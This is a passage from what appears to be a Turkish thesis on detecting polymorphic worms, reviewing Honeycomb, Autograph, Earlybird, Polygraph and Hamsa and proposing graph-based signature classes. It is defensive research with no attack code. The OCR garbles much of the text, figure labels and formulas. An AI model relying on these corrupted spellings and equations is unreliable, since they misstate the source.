Konak A Balkiipii C Konak B Balkiipii D
Bazlanmg paketi Baslanmg paketi
Meszz) 1 Meszj 1
100 bte 30 byte
\ Mesgj 2 \ Mesaj 2
200 byte 300 byte
Mesaj 3 / Mesaj 3 /
300 byt ELOKE 200 byte
Mesay 4
1300 byt=
Baglant Sonu Baglant Sonu

Sekil 2.15, Honeycomb Yatay Analizi.

Dikey analizde ise, bir saldirgan baglant1 akisinin yapilandirilabilir uzunlukta
bir akis1 kaydedilip birlestirilmekte ve ortaya cikan karakter katart EUOKK
algoritmasia girdi olarak verilmektedir. Dikey analiz 6rnegi Sekil 2.16’da

gosterilmistir.
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Bailanti A | | Bailann B |
Konak A Balkiipii C Konzk B Balkiipii D
Bazlanmg paketi Baslanmg paketi

Baglant Sonu Baflant Sonu

Sekil 2.16, Honeycomb Dikey Analizi.

Yatay analiz, toplamda ayni mesaj igeriklerinin farkli sirada ya da farkli yerden
kesilmis olarak gonderilebilecegi telnet gibi etkilesimli uygulamalarda oOriintiileri
bulmakta basarisiz olabilir. Bu sebeple dikey analiz, daha fazla zaman
gerektirmesine karsilik daha iyi bir yontemdir. Balkiipii ile yakalanan ag akislarindan
tiretilen imzalar periyodik olarak imza modiiliine raporlanmakta ve imza havuzuna

dahil edilmektedir.

Honeycomb, solucanlari da kapsayan genel saldiri imzalarin1 olusturmayi
amaclarken, Autograph[44] solucanlara ©6zel olarak otomatik imza olusturmaya
yogunlagsan bir c¢alismadir. Genel ag saldirilarindan farkli olarak solucan

saldirilarinin tespiti normal kosullarda sistem sahiplerinin anormalligi fark etmesini
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ve birbirleriyle iletisim halinde olup ag analizi yaptiktan sonra imza olusturmayi
gerektirir. Bu da sistemleri korunakli hale getirene kadar 6nemli bir gecikme
olmasima sebebiyet verir. Autograph, TCP baglantilar1 ile yayilan solucanlar i¢in
otomatik imzalar olusturmay1 amaglayan bir sistemdir. Autograph, imza olusturmak
icin TCP akis icerigindeki (payload) yaygin 6zellikleri analiz eder ve TCP {istiindeki
diger protokol bilgilerini dikkate almaz.

Autograph sistemi bir ya da daha fazla algilayicidan olusur. Bir algilayicinin
girdisi, DMZ agindan yakalannmis paketler, c¢iktis1 ise solucan imzalardir.

Algilayicilarin trafik analizi iki evreden olugmaktadir.

Ik evrede, ag paketleri zararli paketler ve zararsiz paketler olmak iizere
siniflandirilmaktadir. Bu evrede zararli paketler birlestirilerek akis olusturulmaktadir.
Siniflandirma sonrasinda zararli ve zararsiz paketler disk tstiindeki akis havuzlaria
kaydedilmektedir. Bundan sonraki iglemler, zararli akis havuzu igerisindeki ag

igerikleri (payload) lizerinde gergeklestirilmektedir.

Ikinci evrede, zararli akis havuzu kullanilarak solucan imzalar
olusturulmaktadir. Imzalar olusturulurken solucanlarin iki temel o6zelliginden
faydalanilmaktadir. Birincisi, solucanlarin sistemlere yayilmak igin bir yazilim
aciklign ya da yazilim agikliklar1 kiimesini kullanmasidir. Bu sayede solucan
icerikleri benzer agikliklardan faydalanmak i¢in ortak ve degismez kod pargalarini
icermektedir. Ikinci temel ozellik ise, solucanlarin kendi kendine yayilma
kabiliyetlerinin bir sonucu olarak yiiksek hacimde ag trafigi olusturmasidir. Bu iki
Ozellikle bir arada kullanildiginda, zararli akis havuzundaki akislarin goriilme
sikliginin analiz edilmesinin (yayginlik histogramlari) faydali olacagi sonucu ortaya

cikmaktadir. Autograph algilayict mimarisi Sekil 2.17°de gosterilmistir.

Autograph sisteminde, birden fazla algilayici kullanilarak dagitik bir mimariyle

solucan imzalarinin olusturulmasi da miimkiindiir.
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Sezgisel (heunstics) yintemle zararh S

twafigin secilmesi / Tgerik bolme
| Fararsiz Farath E
1 I Tgerik _
E : pakefler pakefler blioklan E
= : £
- ¥ il Vaygmlik :
~ o — N ] histogram -
E e : Paketbitlestirerek YVaygmhk histogram = NI
= | ! alasm olusturulmas: oluzturma ] i
Iu" . 4 “

Zararh Akislarin Secilmesi Imza Olusturma

Sekil 2.17, Autograph Algilayict Mimarisi.

Earlybird[45], Onceden bilinmeyen solucanlarin ve viriislerin hizlica tespit
edilmesi igin dnerilmis bir prototip sistemdir. Igerik ayiklama olarak adlandirilan bu
yaklasim solucan aktivitesinin iki gézlemine dayalidir; birincisi, mevcut solucanlarda
igerigin bazi kisimlar1 degismemektedir, ikincisi, solucanin yayilim dinamigi internet
uygulamalarindan farklidir. Cok kaynaktan ¢ok hedefe gonderilmis paketlerde ayni
karakter katarinin yer almasi az rastlanan bir durumdur. Hem ¢ok sik tekrarlanan
hem de genis yayilmis igerik katarlarini ag trafiginde ayiklanarak yeni solucanlara ait

imzalarin otomatik olarak saptanabilecegi diistiniilmiistiir.

Earlybird prototipinde kullanilan icerik ayiklama algoritmasinin ¢alisma
prensibi Sekil 2.18’de verilmistir. Paketler geldikce igeriklerin 6zeti (hash) ¢ikarilir,
protokol belirteci ve hedef portu eklenerek bir 6zet kodu olusturulur. Olusturulan
0zet kodlar1 adres dagilim tablosunu indekslemek ic¢in kullanir. Bir eleman tabloda
zaten yer aliyorsa, kaynak ve hedef IP adresleri i¢in adres dagilim tablosunda
elemanlar giincellenir. Kaynak ve hedef sayilar1 dagilim esigini asarsa, igerik katar1

stipheli solucan olarak raporlanir.



34

Adres Dagilim
Tablosu

ANAHTAR | KAYNAKIPSAYACI | HEDEF IP SAYACI

- - ————————

Anahtar

Adres meveut mu ?

protokel’hedef portu +1genk

L 3

Savaglan gincelle

-

el Savac = Dajilim Esigi?

ANAHTARIT siipheli solucan
olarak raporla

Deglse Sayag = Yaygmhk Ezngi?
> Yeni adres olarak ekle

Sayact glj.m:e]le'

icerik Yaygmhk
Tablosu

Sekil 2.18, Earlybird I¢erik Ayiklama Algoritmasi Gosterimi.

Icerik 6zeti, dagilim tablosunda yer almiyorsa, icerik yaygmlik tablosuna
yerlestirilir. Saya¢ degeri yayginlik esik degerini gegerse, bu eleman adres dagilim
tablosuna gegcirilir. Bu, icerigin yiiksek olasilikla solucan aday1 olacak sekilde sik
goriildiigii anlamna gelir. Igerik yayginlik tablosu, sistemdeki asir1 aktiviteyi tespit

eder ve sik tekrarlanan icerik icin yiiksek gecirgen siizgec gibi davranir.

Honeycomb[43], Autograph[44] ve EarlyBird[45] otomatik solucan imzalar
tiretmek i¢in Onerilen sistemlerdir fakat bu ve bunlardan tiiretilmis diger ¢aligmalar
solucani tekil olarak tanimlamaya yetecek biiyiikliikte ayirt edici oriintii bulundugunu
varsaymaktadir. Solucan oOrneklerinde bulunabilecek tek bir o6zelligin kullanimi

polimorfik solucanlarin tespiti i¢in uygun bir yontem degildir.

2.7.2 Polimorfik Solucan Tespit Calismalar

Polimorfik solucan tespit caligsmalari icerik tabanli ve davranig tabanli olarak

ikiye ayrilabilir.
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2.7.2.1 icerik Tabanh Polimorfik Solucan Tespit Calismalari

Icerik tabanl solucan tespit ¢alismalar1 ([40], [42], [46], [48], [49], [57], [58],
[59]) solucan paketi igerigini kullanarak solucan paketlerini tanimaya ¢aligmaktadir.
Icerik tabanli saldir1 tespit sistemleri genel olarak daha énceden tamimlanmis saldiri
imzalarinin aranmast yoluyla tehditleri tespit etmektedir. Solucan &rneklerinde
bulunabilecek tek bir ortak imzanin kullanimi polimorfik solucanlarin tespiti igin
uygun degildir([40], [42]). Bu sebeple polimorfik solucanlart basarili sekilde tespit
etmek i¢in solucan paketi igerisinde kullanilabilecek tiim bilgileri tespit edip bu

bilgilerin iliskilendirilmesi yoluyla iyi imzalar iiretilmelidir.

Polygraph[40] polimorfik solucan tespiti i¢in imza olusturmay1 hedefleyen bir
mekanizmadir. Polygraph ii¢ imza ailesi tantmlamigtir. Bunlar birlesim(conjunction),
siral1 jeton(token-subsequence) ve Bayes imzalaridir. Solucan paketi igerisinden
imza olusturulurken kullanilan solucan karakter katarlar1 jeton (token) olarak
isimlendirilmektedir. Imza olusturma siirecinin ilk asamasi, uygun jetonlarin

bulunmasidir.

Jeton, kesintisiz bir karakter kataridir. Polygraph’da 6nerilen imzalar bir ya da
daha ¢ok jetondan olusmaktadir. Oncelikle solucan akis havuzunda minimum «a
uzunlugunda olan ve n tane solucan Orneginin en az K tanesinin igerdigi tekil
karakter katarlar1 bulunur. Tekil karakter katarindan kasit, n tane solucan 6rneginin
en az K tanesinde diger bir karakter katarin alt kiimesi olmadan bulunmasidir.
Ornek olarak “ABCD” karakter katari, n tane solucan drneginin en az K tanesinde
bulunmus olsun. “BCD” karakter katar1i, “ABCD” karakter katarinin bir alt kiimesi
haricinde n tane solucan 6rneginin en az K tanesinde bulunmuyorsa jeton olarak
kullanilmaz. Solucan akis havuzundaki toplam 6rnek boyutu cinsinden dogrusal
zamanda n Ornegin en az K tanesindeki en uzun ortak karakter katarini bulan
algoritma[55] ile ortak karakter katarlar1 bulunabilmektedir. Bu algoritma, tekil
olarak n 6rnegin en az K tanesinde gecen ya da bunlarin bir alt kiimesi olsa da n
Oregin en az K tanesinde gegen tiim karakter katarlarim1 bulacak sekilde

uyarlanmistir. Jeton kiimesi bulunduktan sonra, akislar icerisinde kesfedilen jetonlar
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haricindeki karakter katarlar1 ihmal edilmekte ve akis oriintiileri sadece bu jetonlar

cinsinden ifade edilmektedir.

Birlesim (Conjunction) imzalari, sirasiz olarak tanimlanmis bir jetonlar
kiimesidir. Imza eslesmesi icin, birlesim imzasindaki jetonlarin sira gdzetmeksizin
akis icerisinde bulunmasi gereklidir. Solucan akis havuzundaki tiim polimorfik
solucan Ornekleriyle eslesecek bir birlesim imzas1 tanimlamak i¢in, daha 6nce ele
alian jeton bulma algoritmasi, solucan akis havuzundaki tiim solucan drneklerinde
icerilen jetonlar1 bulacak sekilde calistirilir. Bu igslem dogrusal zaman igerisinde

tamamlanir. Birlesim imzasi, kesfedilen jetonlarindan olusan kiime olarak tanimlanur.

Sirali jeton (Token Subsequence) imzalarinda ise, tanimli olan imza
jetonlarmin hepsinin solucan paketi igerisinde sirali bir sekilde bulunup bulunmadigi
kontrol edilmektedir. Sirali jeton imzalarini tanimlayabilmek ig¢in, tiim solucan
orneklerinde ortak olan bir jeton siralamasi bulunmasi gereklidir. Bu amagla, Smith-
Waterman karakter katar1 hizalama algoritmasi[56] kullanilmaktadir. Karakter katar1
hizalama algoritmasi, iteratif olarak solucan akis havuzu iizerinde ¢alistirilmaktadir.
Her iterasyon adimindan sonra, ¢iktilardaki bosluklar 6zel bir bosluk karakteri y ile
doldurulmaktadir ve iizerinde ¢aligilan 6rnek ile kendinden sonraki 6rnek arasindaki
en uygun Oriintii eslesmesi bulunmaktadir. Bu greedy yaklasimin bir yerel
minimumla da sonuglanabilecegi géz Oniinde bulundurulmalidir. Bu riski en aza
indirmek i¢in, dncelikle tiim solucan 6rneklerinin igerdigi jetonlar bulunmakta, sonra
da solucan akis havuzundaki her ornek, aralarinda y bosluk karakteri olan jeton
siralamalar1 olarak ifade edilmektedir. Boylelikle diger solucan Orneklerinde
bulunmayacak karakter katarlarin1 igeren hizalamalarin bulunmasinin Oniine
gecilmektedir. Ayrica, lizerinde c¢alisilan karakter katarlarinin boyutu azaltildig: igin
Smith-Waterman algoritmasinin ¢alisma zamani da iyilesmektedir. Polimorfik
solucan akis havuzunda en fazla n byte uzunlugunda s Ornek varsa, sirali jeton
imzalar1 jeton bulma islemi igin O(n), karakter katar1 hizalama islemi i¢in O(sn?)

zaman karmasikligina sahiptir.

Bayes imzalarinda, her jeton i¢in hesaplanmis bir skor degeri bulunmaktadir.

Jeton skorlari, jetonlarin birbirinden bagimsiz olduklari1 varsayimmiyla bir jetonun
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solucan akis havuzu ve normal akis havuzu icerisindeki olasiliklarina dayali olarak
naif Bayes kurali uygulanarak bulunmaktadir. Ayrica karar verme asamasinda
kullanilmak {izere bir toplam skor esik degeri(threshold) hesaplanmaktadir. Esik
deger, tahammiil edilebilecek maksimum yanls-pozitif —oranina  gore
belirlenmektedir. Birlesim ve sirali jeton imza yontemlerinden farkli olarak Bayes
imzalar1 ilgili paketin solucan olma olasiligiyla ilgili bilgi vermektedir. Herhangi bir
ag akis1 verildiginde, paketler icerisinde bulunan jetonlara atanmis degerler
toplanmakta ve esik deger ile karsilastirilmaktadir. Eger toplam deger, esik degerden

biiylik ¢ikiyor ise ilgili ag akist solucan olarak degerlendirilmektedir.

Hamsa[42], saldiriya karst koruma, verimlilik ve dogruluk agisindan
Polygraph’a gore daha iyi sonu¢ verdigini iddia etmektedir. Hamsa da polimorfik
solucanlar i¢in otomatik imza olugturmay1 amaglayan ag tabanl bir sistemdir. Hamsa
icerige bagli imzalar olusturmaktadir. Kullanilan veri pargalari, Polygraph’a benzer
olarak protokol ¢ercevesi bilgisi(e), agiklik bilgisi(y) ve solucan igerigi(rm)’dir. Suffix
array tabanli bir algoritma kullanilarak, siipheli akis havuzu igerisinde en az A
oraninda bulunmas1 kosuluyla jetonlar bulunur. Hamsa solucan imzasi, bu jetonlarin
tim solucan oOrneklerinde sira gozetmeksizin bulunan bir alt kiimesi olarak

tanimlanmustir.

Hamsa solucan imzasinda bulunmak {iizere segilen ilk jeton, tiim jetonlar
arasinda yanlis-pozitif (false-positive) orani en diisiik olandir. Ik secilen jetonla
birlikte sira gdzetmeksizin arandiginda en diisiikk yanlis-pozitif degere sahip olan
jeton, solucan imzasinda bulunacak ikinci jeton olarak secilmektedir. Diger jetonlar
da benzer sekilde secilmekte ve solucan imzasi olusturulmaktadir. Bu greedy
yaklagiminin, protokol ¢ercevesi bilgisi(e) ve agiklik bilgisi(y) bdliimlerinin solucan
yazarinin kontrolii altinda olmadigi varsayimiyla iyi imzalar olusturdugu ifade

edilmistir.

Sekil 2.19’da gosterilen Hamsa algilayict mimarisi, Polygraph ve Autograph
algilayict mimarisine benzerlik gostermektedir. Oncelikle ag dinleyici (sniffer)
yardimiyla ag iizerindeki trafik yakalanmakta, trafik protokol (TCP/UDP/ICMP) ve

kap1 (port) numaralarina gore ayristirilmaktadir. Sonra, her protokol ve kapi
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numarasi ikilisi i¢in, taninan solucan ornekleri ayiklanip kalan trafik solucan akig
secici tarafindan solucan akis havuzuna ya da normal akis saklama alanina
yonlendirilmektedir. Belirlenen normal trafik segme politikasina gore normal trafigin

bir kism1 da normal akis havuzuna aktarilmaktadir.

o . Protokol

Ag Dinleyici |—» Aynigtinic
TCP TCP | TCP TCP | UDP
p = a0 C 137 1434

,’éfulucan ﬂké\,

7" Havuzu |

_— S S/
Blinen Solucan Hamsa imza .
Solucanlar—| Alkis - Olusturucu —— Imzalar
izgec Segici n N
Sizgeci ¢ /Normal Akis
v Hawuzu
N

Normal trafik
saklama alam

Gergek zamanl

Politika tabhanh

Sekil 2.19, Hamsa Algilayict Mimarisi.

Solucan akis havuzu ve normal akis havuzu, Sekil 2.20°de genel yapisi
gosterilen Hamsa imza olusturucu tarafindan imzalar1t olusturmak igin
kullanilmaktadir. Jeton bulma asamasinda, solucan akis havuzunun en az A oraninda
bulunan karakter katarlar1 jeton olarak bulunmaktadir. Jeton tanimlama asamasinda
jetonlarin normal akis havuzu igerisinde bulunma sikliklar1 hesaplanmakta ve imza
lyilestirme asamasinda yanlig-pozitif sonu¢ veren jetonlar azaltilmaktadir. Sonug

olarak Hamsa imzasi tanimlanmaktadir.
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Sekil 2.20, Hamsa Imza Olusturucu.

PADS([48], [49]) icerik tabanli polimorfik solucan tespit sistemlerine baska bir
ornektir. Bolim 2.7.2.2°de aciklanan davranis tabanli polimorfik solucan tespit
sistemleri, solucan trafik dagilimi normal trafik dagilimindan ¢ok farkli ise basarili
olmaktadir. PADS, igerik tabanli ve davranis tabanli yontemlerin giiclii yonlerini
kullanarak  bir imza yapist tanmimlamayir amaglamaktadir.  Expectation
Maximization[53] ve Gibbs Sampling[54] tabanli iki algoritma gelistirilmistir.
Hamsa ve Polygraph polimorfik solucanlarin degismeyen pargalartyla ilgilenirken
PADS buna ek olarak belirli bir dagilima uygun davranan degisken parcalar1 da
dikkate almaktadir.

2.7.2.2 Davrams Tabanh Polimorfik Solucan Tespit Calismalari

Davranis tabanli  yaklagimlar solucan paketi igerisindeki bilgiyle
ilgilenmemektedir. Bu yaklagimlarda solucanin ag ve bulasilan sistem tiizerindeki
davranis1 dikkate alinmaktadir. Ag {zerindeki anormal davranislar takip
edilmektedir. Bu tez calismasinda igerik tabanli polimorfik solucan tespit
caligmalarina yogunlasilmistir. Okuyucular [50], [51], ve [52]’de belirtilen
calismalardan daha fazla bilgi alabilir.
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3 ONERILEN POLIMORFIiK SOLUCAN IMZA
SINIFLANDIRMASI VE iMZA YAPILARI

Bu bdliimde, polimorfik solucanlarin tespitine yonelik Onerilen yontemler
sunulmustur. Boliim 3.1°de polimorfik solucan imzalarinin siniflandirilmasi igin
Onerilen c¢izge tabanli siniflandirma cercevesi anlatilmistir. Bolim 3.2°de imza
kiimelerinin temel yapist olan diigiim ve kenarlar kavramlar1 tanimlanmis ve nasil
bulunduklar1 agiklanmistir. Onerilen Kenar Imzalar1 (K1) yapis1 Béliim 3.3’de, Giiglii
Kenar Imzalari (GKI) yapis1 Bélim 3.4’de, Yoénli Kenarlarm ve Bagimsiz

Diigiimlerin Birlesimi imzalar1 (YIKDB) yapis1 Boliim 3.5’de anlatilmustir.

3.1 Polimorfik Solucan Imza Simiflandirilmasi

Icerik tabanli polimorfik solucan tespit imza yapilar1 Kenar Tabanli imzalar,
Diigiim Tabanli Imzalar ve Hibrit Imzalar olarak siniflandirilabilir. Diigiim,
polimorfik imza kopyalarindaki ortak karakter katart olarak tanimlanmistir. Etkili bir
diiglim, polimorfik solucanlarin degismeyen bdliimlerinin tamaminda veya ¢ogunda
yer alirken zararsiz trafik paketlerinde yer almamali ya da ¢ok azinda yer almalidir.
Bu ozellik, disiik yanlhis-pozitifli ve diisiik yanlig-negatifli imza yapilarinin
tanimlanmas igin esas olusturmaktadir. Ote yandan diigiimler polimorfik solucanin
ag protokol yapisinin veya saldir1 vektoriiniin bir pargasi oldugu i¢in zayif diigiimler
de diger diigiimlerle ilintilendirilerek polimorfik solucan tespitinde yararli olur. Bu
noktada kenarlar ¢oziime katki saglar. Kenar, iki diiglimiin yonsiiz birlesimi ya da iki
diigimiin yonlii dizilimi olarak tanimlanmistir. Kenar tabanli polimorfik solucan
imza yapilari, solucan akisini ilintili diiglimler cinsinden ifade etmek i¢in diiglimlerin
birbirleri arasindaki iliskiden faydalanir. Diiglim tabanli imza yapilar1 ve kenar
tabanli imza yapilar1 daha karmasik ve daha esnek hibrit imza yapilarini olusturmak

lizere birlestirilebilir.

Yukarida bahsedilen imza siniflarinin tanimlarina yonelik genel tanimlar ve

notasyon Boliim 3.1.1°de verilmektedir. Diiglim tabanli imza sinifi, kenar tabanh
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imza smift ve hibrit imza sinifi sirasiyla, Bolim 3.1.2, Bo6lim 3.1.3 ve Bolim

3.1.4°de tanimlanmustir.

3.1.1 Genel Tamimlar ve Notasyon

Diiglim kiimesi V': V, n = 1 olmak lizere n diiglimden olusan ve her diigiimiin
siipheli akis havuzundaki polimorfik solucan kopyalarin belirli bir béliimiinde yer

alan bir ortak karakter katarini temsil ettigi bir kiime olsun. V = {v,, v,, ..., v, }.

Kenar kiimesi £ : E, her kenarin VxV kiimesindeki sirali bir diigiim ikilisini
temsil ettigi, n? kenardan olusan bir kiime olsun. Vi, j icin e = (vi,vj) vel <

i,j <niken, E =VxV = {e;}.

Akas gizgesi X : X, kesfedilmis diiglimler v;e V cinsinden bir akis ¢izgesi olsun.
X, 1 £i<m ve x;e V olmak iizere m diigimden olusur. X te hi¢bir vel/ diigiimii
yoksa X = @’dir. X, bir komsu diigiimler listesi, komsu kenarlar kiimesi veya yonlii

cizge olarak ifade edilebilir.

Solucan ¢izgesi W : W, kesfedilmis diiglimler v;e V cinsinden bir solucan
cizgesi olsun. W, 1 <n < p olmak iizere p diigiimden (w;) olusur ve 1 <i<p
olmak tiizere Vi i¢in w;e V’dir. W, bir komsu diigiimler listesi, komsu kenarlar

kiimesi veya yonlii ¢cizge olarak ifade edilebilir.

Diigiim skor fonksiyonu fy_ :v; > (Vgor)i €R 0 fy, . diigiim kiimesi V'

tizerinde her v;e V icin diiglim skorunu hesaplayan bir fonksiyon olsun ve Vg,

diigtim skorlarinin olusturdugu kiime olsun.

Kenar skor fonksiyonu fz, :e;; > (Eskor)ij €R : fg,,,,» Kenar kiimesi £
lizerinde her e;j€ E igin kenar skorunu hesaplayan bir fonksiyon olsun ve Eg,, kenar

skorlarinin olusturdugu kiime olsun.



42

Akig skor fonksiyonu fy, X - Xgor € R 0 fy ., akis gizgesi X lizerinde

akis skorunu hesaplayan bir fonksiyon olsun.
3.1.2 Diigiim Tabanh imzalar

Diigiim Tabanli Imzalar, polimorfik solucanlarin tespiti icin diigiimlerden
faydalanir. Tespit yonteminde kesfedilmis diiglimlerin tamami kullanilabilecegi gibi
kesfedilmis diiglimlerin bir alt kiimesi de kullanilabilir. Polimorfik solucan tespit
kural1, basit olarak bu diiglimlerin eslestirilmesine dayali olabilecegi gibi bir diiglim
skor hesaplama fonksiyonu ile hesaplanan toplam skorun 6n tanimli bir esik degeri
ile karsilastirilmasina dayali olabilir. Herhangi bir diiglim tabanli polimorfik solucan
imzasi, kullanilan yontemden bagimsiz olarak bir diigiim bulma fonksiyonu

faigim_pur tanimlamalidir. Diigtim skorlarina dayali imza yapilar i¢in bir digim

skor hesaplama fonksiyonu fy,,  tanimlanmalidir.

Diiglim tabanli polimorfik solucan imzalari li¢ kategoride gruplanabilir. Bunlar
(1) Bagimsiz Diigltimler’e, (2) Diigiimlerin Birlesimi’ne, (3) Diiglimlerin Dizilimi’ne
dayali imza yapilaridir. Diigim tabanli polimorfik solucan imza sinifinin pratik

uygulamalar1 ve olas1 yeni tasarimlar1 asagida irdelenmistir.
3.1.2.1 Bagimsiz Diigiimler

Bagimsiz diiglimlere dayali polimorfik solucan imza yapilarinin ortak
varsayimi diigiimlerin akigta birbirlerinden bagimsiz olarak yer aldigidir. Bu
bagimsizlik varsayimi, 6zellikle skor tabanli karar mekanizmasi ile birlestirildiginde

basit ve kullanigli imza yapilar1 tanimlanmasina imkan saglar.

En Uzun Ortak Karakter Katar1 (EUOKK, Longest Common Substring(LCS))

yontemi, diigiim tabanli polimorfik solucan imzalari tanimlamanin en basit yoludur.

(f dﬁgﬁm_bul)LCS, polimorfik solucan kopyalarindaki en uzun ortak karakter katarini

temsil eden tek bir diigiimden (v, ) olusan diigiim kiimesini (V) olusturur. Tespit

yontemi, v;.s akista bulunursa akisi polimorfik solucan olarak isaretlemek olarak
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tamimlanir. v;.g, zararsiz akislarda da bulunabilecegi icin, EUOKK polimorfik

solucan tespitinde etkili bir yontem degildir.

En lyi Karakter Katar1 (EIKK, Best Substring(BS)) imzalar1 klasik saldirilar

icin en temel saldir1 tespit yontemi olarak kabul edilir. (fdﬁgﬁm_bul)BS , polimorfik

solucan kopyalarindaki en diisliik yanlis-pozitif oranl karakter katarmi temsil eden
tek bir diiglimden (vgs) olusan diiglim kiimesini (Vgg) olusturur. Tespit yontemi, vgg
akista bulunursa akist polimorfik solucan olarak isaretlemek olarak tanimlanir.
EUOKK ve EIKK vyontemleri polimorfik solucanlarin tespitinde yetersiz
kalmaktadir. Bu basit imza eslestirme teknikleri etkili degildir ¢iinkii polimorfik
solucanlarinin dogasi, polimorfik solucanlar1 diisiik yanlis-pozitif oranlartyla
simiflandiracak sekilde tek karakter katari ile yiliksek kaliteli imza olusturmayi

imkansiz kilar.

Newsome ve ark.[40], giiclii bir diigiim tabanli imza yapis1 olarak Polygraph
Bayes imza yapisin1 dnermistir. imza olusturmak igin kullanilan polimorfik solucan
alt karakter katarlar1 jeton olarak adlandirilir. Polygraph, bir baska jetonun alt
karakter katar1 olmayan bir jetonu igerir, bir bagka jetonun alt karakter katariysa
kapsamas1 belirli bir esigin lizerinde olmalidir. Bir jeton baska bir jetonun alt
karakter katari olsa ve kapsamasi belirli bir esigin ilizerinde olmasa dahi diger
jetonlarin alt karakter dizisi olarak solucan Ornekleri arasinda kapsamasi yiiksek
olabilir. Polygraph Bayes imzalar1 bir jeton kiimesinden olusur. Her jeton i¢in normal
akis havuzu ve solucan akis havuzunda bulunma olasiligina dayali olarak bir skora
sahiptir. Karar asamasinda kullanilmak {izere solucana 6zgii bir toplam esik degeri
belirlenir. Bayes imzalar1 olasiliksal eslesme bilgisi saglar. Verilen bir siipheli akis
icin akista yer alan jeton skorlarmin toplami olan bir akis skoru hesaplanir.
Hesaplanan skor degeri on tanimli bir esik degerinin iizerinde kalirsa ya da esit

olursa, Polygraph verilen akis1 polimorfik solucan olarak siniflandirir.

Uygun diigiim bulma fonksiyonu, fgigim_pwi tanimlandiginda, diigiim kiimesi
V’nin seg¢ilmis bir alt kiimesinin skorlarina dayali olarak yeni diiglim tabanh
polimorfik solucan tespit imza yapilar1 tanimlanabilir. Polygraph Bayes imzalari

diigiimlerin her biri i¢in ilgili skoru saf Bayes teknigi kullanarak hesaplar. Bir diigtim
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toplam akis skoruna sadece bir kez katilabilecegi icin, diigiim skorlarinin ve
hedeflenen esik degerinin analizi toplam sonucu etkilemeyecek gereksiz diigiimlerin
elenmesini saglayabilir. Daha kiigiik boyutlu bir diigiim kiimesi saglamasinin yani
sira, tanimli imza yoOntemi akista daha az sayida digliim arayacagi icin akis
degerlendirmesi de daha hizli olacaktir. Bagimsiz diiglimlere dayali polimorfik

solucan imza yapilarinin gesitleri Sekil 3.1°de verilmistir.

Sekil 3.1, Bagimsiz diigiimlere dayali imza yapilar1. (a) EUOKK (b) EIKK
(c) YV v; € V icin bagimsiz skorlar (d) V v; € V3, V; c V igin bagimsiz skorlar.

3.1.2.2 Diigiimlerin Birlesimi

Diigiimlerin birlesimine dayali polimorfik solucan imza yapilar1 polimorfik
solucanlar1 tespit etmek icin diiglim kiimesi J’nin elemanlariin birlesiminden
faydalanir. Tespit yontemi, ya skor hesaplama fonksiyonuna ya da ’nin se¢ilmis bir

alt kiimesinin aranmasina dayanir.

Polygraph birlesim imzalari, ancak ve ancak jetonlarin tiimii akista herhangi
bir sirada yer aliyorsa solucani eslestiren jetonlarin bir kiimesinden olusur. Diger bir
deyisle, karar kurali s6yle tanimlanir: Akis ¢izgesi X, diigiim kiimesi /’nin her bir v;

elemanini igeriyorsa akis1 polimorfik solucan olarak etiketle.

Diigiimlerin birlesimine dayali herhangi bir imza yapisi temel olarak, tespit
mekanizmasini olusturmak i¢in diiglim kiimesi V lizerinde bir se¢im fonksiyonu
tanimlamalidir. Akis i¢in bir toplam skor elde etmek i¢in, ’nin alt kiime birlesimleri

icin bir skor hesaplama fonksiyonu Onerilebilir. Bazi diigiimler hem zararsiz hem de
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stipheli havuzda siklikla yer aldig: siirece, diiglim kiimesi /’nin her eleman1 v; igin
arama yapmak pratikte her zaman gerekli olmayabilir. Sonug¢ olarak, bagimsiz
diiglim tabanli skor teknigi ile diiglimlerin birlesimi teknigi birlestirerek daha az
sayida elemanin birlesimleri akis degerlendirmesini hizlandirabilir. Diiglimlerin
birlesimine dayalt polimorfik solucan imza yapilarmin cesitleri Sekil 3.2°de

verilmigtir.

Sekil 3.2, Diiglimlerin birlesimine dayali imza yapilari. (a) V v; € V’nin birlesimi

(b)Vv; € V;, V; € V’nin birlesimi (c) V’nin k alt kiime birlesimleri i¢in skorlar.

3.1.2.3 Diigiimlerin Dizilimi

Diigiimlerin dizilimine dayali polimorfik solucan imza yapilar1 polimorfik
solucanlar1 tespit etmek icin diiglim kiimesi F’nin elemanlarmin diziliminden
faydalanir. Tespit yontemi, ya skor hesaplama fonksiyonuna ya da ’nin se¢ilmis bir

alt kiimesinin diziliminin aranmasina dayanir.

Polygraph dizilim imzalari, ancak ve ancak tanimli Oriintii verilen sirada

akista yer aliyorsa solucani eslestiren jetonlarin bir diziliminden olusur.

Diigiimlerin dizilimine dayali herhangi bir imza yapis1 temel olarak, tespit
mekanizmasini olusturmak icin diigiim kiimesi V iizerinde bir se¢im fonksiyonu
tanimlamalidir. Akis i¢in bir toplam skor elde etmek i¢in, /’nin alt kiime dizilimleri

icin bir skor hesaplama fonksiyonu Onerilebilir. Polimorfik solucan gelistiricileri
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solucanin yeni siiriimlerinde jetonlar1 degistirebilecegi i¢in, solucan akisi #’nin her
eleman1 v; icin arama yapmak pratikte her zaman gerekli olmayabilir. Imzanim kati
tanimlanmasi yanlis-negatif kararlara sebep olabilir. Bunun yerine, solucan akisi
Wnin alt dizilimlerini aramak solucanin saldir1 vektoriindeki degisikliklere daha
direngli olabilir. Diiglimlerin dizilimine dayali polimorfik solucan imza yapilarinin

cesitleri Sekil 3.3’de verilmistir.

Sekil 3.3, Diiglimlerin dizilimine dayali imza yapilar.. (@) Vw; EW p > n,W 2

V’nin dizilimi (b) Vw; € V;, V; € V’nin dizilimi (¢) W’nin k alt kiime dizilimleri

i¢in skorlar.

3.1.3 Kenar Tabanh imzalar

Kenar Tabanli Imzalar, bir polimorfik solucan tespit mekanizmasi1 tanimlamak
icin kenarlardan faydalanir. Yontem, kenar kiimesi E’nin kenarlarinin tamamin
kullanilabilecegi gibi kenarlarmmin bir alt kiimesini de kullanilabilir. Polimorfik
solucan tespit kurali, bu kenarlarin eslestirilmesine dayali olabilecegi gibi bir kenar
skor hesaplama fonksiyonu ile hesaplanan toplam skorun 6n tanimli bir esik degeri
ile karsilastirllmasina da dayali olabilir. Herhangi bir kenar tabanli polimorfik
solucan imzasi, kenarlar1 kesfetmek i¢in bir kenar bulma fonksiyonu fyenar pu
tanimlamalidir. Kenar skorlarina dayali imza yapilari igin bir kenar skor hesaplama
fonksiyonu fg_,  tanimlanmalidir. Kenarlar yonlii veya yonsiiz olarak diistiniilebilir.
Yonli kenarlar diigiimler i¢in bir dizilim kuralina sahiptir. Dolayistyla, yonlii bir

